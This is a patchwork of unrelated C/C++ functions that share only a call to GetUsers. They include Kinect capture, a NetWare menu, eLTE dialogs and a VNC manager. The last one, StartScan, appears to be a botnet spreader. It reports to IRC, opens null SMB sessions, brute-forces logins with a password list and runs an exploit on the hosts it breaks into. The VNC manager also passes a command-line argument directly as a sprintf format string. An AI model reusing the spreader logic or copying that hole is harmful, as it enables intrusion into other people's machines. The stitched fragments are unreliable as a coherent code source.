void SimKinect::GetNextFrame(unsigned char* _color_frame, unsigned char* _depth_frame, int* _depth_map, vector<SKUser>& _users) { if (!bPause) { // Read next available data context.WaitAnyUpdateAll(); if ( color_generator.IsValid() ) { color_generator.GetMetaData(rgbMD); DrawRGBMap(rgbMD); memcpy(_color_frame,color_frame,video_size_height*video_size_width*3*sizeof(unsigned char)); } if ( depth_generator.IsValid() ) { depth_generator.GetMetaData(depthMD); if ( user_generator.IsValid() ) { user_generator.GetUserPixels(0, sceneMD); DrawDepthMapWithUsers(depthMD,sceneMD); } else { DrawDepthMap(depthMD); } memcpy(_depth_frame,depth_frame,video_size_height*video_size_width*3*sizeof(unsigned char)); memcpy(_depth_map,depth_map,video_size_height*video_size_width*sizeof(int)); } if ( record_file ) { //read data from record file GetUsers(_users,frame_counter); } else if ( user_generator.IsValid() ) { GetUsers(_users); if ( skeleton_data_file ) { WriteUsersByFrame(skeleton_data_file,frame_counter,_users); } } frame_counter++; } }
/****************************************************************************** ** Setup and display the users selection menu. */ void UsersMenu(void) { NWGMENU UserSelect; /* The menu. */ NWGMENUITEMS MenuList; /* Menu items. */ int iLoop; /* User counter. */ /* Show wait message. */ NWGFXWaitMessage(TRUE); /* Get the users on a server. */ iNumUsers = GetUsers(GetFSConnHandle(iServer)); /* Check we found users. */ if (!iNumUsers) { /* Hide wait message. */ NWGFXWaitMessage(FALSE); /* Show error message. */ NWGFXInfoMessage("No Users Found"); return; } /* Allocate memory for menu items. */ MenuList = (NWGMENUITEMS) malloc(sizeof(NWGMENUITEM) * iNumUsers); if (!MenuList) { /* Hide wait message. */ NWGFXWaitMessage(FALSE); /* Show error message. */ NWGFXErrorMessage("Malloc failure!"); return; } /* Set menu items pointer to queue info string. */ for (iLoop=0; iLoop < iNumUsers; iLoop++) MenuList[iLoop].pItem = GetUserName(iLoop); /* Fill in menu details. */ UserSelect.iPosType = MP_RELATIVE; UserSelect.iSX = -32; UserSelect.iSY = 4; UserSelect.iDX = 30; UserSelect.iDY = 20; UserSelect.fFlags = MF_EXTENDED; UserSelect.pTitle = "Select User(s)"; UserSelect.tTimeOut = (NWGTIME) NULL; UserSelect.fnMenuProc = (NWGMENUPROC) UsersMenuProc; UserSelect.iNumItems = iNumUsers; UserSelect.pItems = MenuList; UserSelect.iCurrent = 0; UserSelect.iHelpID = IDH_USERS; /* Hide wait message. */ NWGFXWaitMessage(FALSE); /* Show Select Queues popup. */ NWGFXPopupMenu(&UserSelect); }
bool UserCache::Populate() { auto users = GetUsers(); std::lock(namesMutex, uidsMutex, primaryGidsMutex, ipMasksMutex); std::lock_guard<std::mutex> namesLock(namesMutex, std::adopt_lock); std::lock_guard<std::mutex> uidsLock(uidsMutex, std::adopt_lock); std::lock_guard<std::mutex> primaryGidsLock(primaryGidsMutex, std::adopt_lock); std::lock_guard<std::mutex> ipMasksLock(ipMasksMutex, std::adopt_lock); uids.clear(); names.clear(); primaryGids.clear(); ipMasks.clear(); for (const auto& user : users) { uids[user.name] = user.id; names[user.id] = std::move(user.name); primaryGids[user.id] = user.primaryGid; ipMasks[user.id] = std::move(user.ipMasks); } return true; }
int main(int argc,char **argv) { char *temp=NULL; initrdadiag(); SETUSERLOGIN(); SETCWD(); if(argc<2) { which=1; } else if(!isEMPTY(argv[1])) { temp = Rmalloc(strlen(argv[1])+1); sprintf(temp,argv[1]); stolower(temp); if(!RDAstrcmp(temp,"start")) which=0; else if(!RDAstrcmp(temp,"stop")) which=2; else if(!RDAstrcmp(temp,"test")) which=3; else which=1; /* keepalive */ if(temp!=NULL) Rfree(temp); } if(argc<3) { ufile=stralloc("rdausers"); } else ufile=stralloc(argv[2]); GetUsers(); ManageVNCservers(which); if(RDAusers!=NULL) freeapplib(RDAusers); if(ufile!=NULL) Rfree(ufile); exit(0); }
void CDConsoleDlg::OnBnClickedButtonSearch() { // TODO: 在此添加控件通知处理程序代码 bool bFlag = true; UpdateData(TRUE); if ("" == m_strSearch) { bFlag = false; } else { bFlag = true; } switch (m_cmbObjSel.GetCurSel()) { case 0: { //clear DcUsers List m_DcUsers.DeleteAllItems(); // 获取用户列表 GetUsers(m_strSearch, bFlag); } break; case 1: { //clear DcGroups List m_DcGroups.DeleteAllItems(); // 获取群组列表 GetGroups(m_strSearch, bFlag); } break; case 2: { //clear PatchGroup List m_PatchGroups.DeleteAllItems(); // 获取派接组列表 GetPatchGroups(m_strSearch, bFlag); } break; default: ; } // 触发状态上报 ELTE_INT32 iRet = ELTE_SDK_TriggerStatusReport(1); CHECK_API_RETURN_VOID(iRet, _T("ELTE_SDK_TriggerStatusReport")); }
void CDConsoleDlg::InitDlg() { // 先清理 ClearProv(); // GetDlgItem(IDC_BUTTON_PROVINIT)->EnableWindow(FALSE); // GetDlgItem(IDC_BUTTON_PROVEXIT)->EnableWindow(TRUE); if(m_pCeLTE_GISDlg && !((CeLTE_GISDlg*)m_pCeLTE_GISDlg)->m_bClose) { // 获取user 列表 GetUsers(_T(""),false); // 触发状态上报 m_peLTE_Player->ELTE_OCX_TriggerStatusReport(1); } }
void CDConsoleDlg::OnBnClickedButtonSearch() { // TODO: 在此添加控件通知处理程序代码 bool bFlag = true; UpdateData(TRUE); if ("" == m_strSearch) { bFlag = false; } else { bFlag = true; } //clear DcUsers List m_DcUsers.DeleteAllItems(); // 获取user 列表 GetUsers(m_strSearch, bFlag); // 触发状态上报 m_peLTE_Player->ELTE_OCX_TriggerStatusReport(1); }
void CDConsoleDlg::InitDlg() { // 先清理 ClearProv(); // GetDlgItem(IDC_BUTTON_PROVINIT)->EnableWindow(FALSE); // GetDlgItem(IDC_BUTTON_PROVEXIT)->EnableWindow(TRUE); if(m_pCeLTE_SDSDlg && !((CeLTE_SDSDlg*)m_pCeLTE_SDSDlg)->m_bClose) { // 获取用户列表 GetUsers(_T(""),false); // 获取群组列表 GetGroups(_T(""),false); // 获取派接组列表 GetPatchGroups(_T(""),false); // 触发状态上报 ELTE_INT32 iRet = ELTE_SDK_TriggerStatusReport(1); CHECK_API_RETURN_VOID(iRet, _T("ELTE_SDK_TriggerStatusReport")); } }
void CScannerNetBios::StartScan(const CString &sHost) { if(ScanPort(sHost.CStr(), 445) || ScanPort(sHost.CStr(), 139)) { g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), "%s: scanning ip %s.", m_sScannerName.CStr(), sHost.CStr()); MultiByteToWideChar(CP_ACP, 0, sHost.CStr(), sHost.GetLength()+1, m_wszHost, (int)sizeof(m_wszHost)/(int)sizeof(m_wszHost[0])); wcscpy(m_wszServer, L"\\\\"); wcscat(m_wszServer, m_wszHost); wcscpy(m_wszResource, m_wszServer); wcscat(m_wszResource, L"\\IPC$"); int iNameCount=0, iShareCount=0; m_lUsers.clear(); m_lShares.clear(); CloseSession(); if(NullSession()) { GetUsers(&m_lUsers); GetShares(&m_lShares); CloseSession(); } while(names[iNameCount]) { userinfo *pUser=new userinfo; pUser->sName.Assign(names[iNameCount]); pUser->sServer.Assign(sHost); m_lUsers.push_back(pUser); iNameCount++; } while(shares[iShareCount]) { shareinfo *pShare=new shareinfo; pShare->sName.Assign(shares[iShareCount]); pShare->sRemark.Assign("default"); m_lShares.push_back(pShare); iShareCount++; } bool bExploited=false; list<shareinfo*>::iterator iShares; iShares=m_lShares.begin(); list<userinfo*>::iterator iUsers; iUsers=m_lUsers.begin(); while(iShares!=m_lShares.end() && !bExploited && m_pScanner->m_bScanning) { while(iUsers!=m_lUsers.end() && !bExploited && m_pScanner->m_bScanning) { WCHAR wszShare[MAX_PATH]; wcscpy(m_wszServer, L"\\\\"); wcscat(m_wszServer, m_wszHost); wcscpy(m_wszResource, m_wszServer); wcscat(m_wszResource, L"\\"); MultiByteToWideChar(CP_ACP, 0, (*iShares)->sName, (*iShares)->sName.GetLength()+1, wszShare, (int)sizeof(wszShare)/(int)sizeof(wszShare[0])); wcscat(m_wszResource, wszShare); if(AuthSession((*iUsers)->sName.CStr(), "") && !bExploited) { bExploited=Exploit((*iShares)->sName.CStr(), sHost.CStr(), (*iUsers)->sName.CStr(), ""); CloseSession(); } if(AuthSession((*iUsers)->sName.CStr(), (*iUsers)->sName.CStr()) && !bExploited) { bExploited=Exploit((*iShares)->sName.CStr(), sHost.CStr(), (*iUsers)->sName.CStr(), (*iUsers)->sName.CStr()); CloseSession(); } int pwd_count=0; while(pwds[pwd_count] && !bExploited) { if(AuthSession((*iUsers)->sName.CStr(), pwds[pwd_count]) && !bExploited) { bExploited=Exploit((*iShares)->sName.CStr(), sHost.CStr(), (*iUsers)->sName.CStr(), pwds[pwd_count]); CloseSession(); } pwd_count++; } iUsers++; } iShares++; iUsers=m_lUsers.begin(); } for(iUsers=m_lUsers.begin(); iUsers!=m_lUsers.end(); ++iUsers) delete (*iUsers); for(iShares=m_lShares.begin(); iShares!=m_lShares.end(); ++iShares) delete (*iShares); m_lUsers.clear(); m_lShares.clear(); } }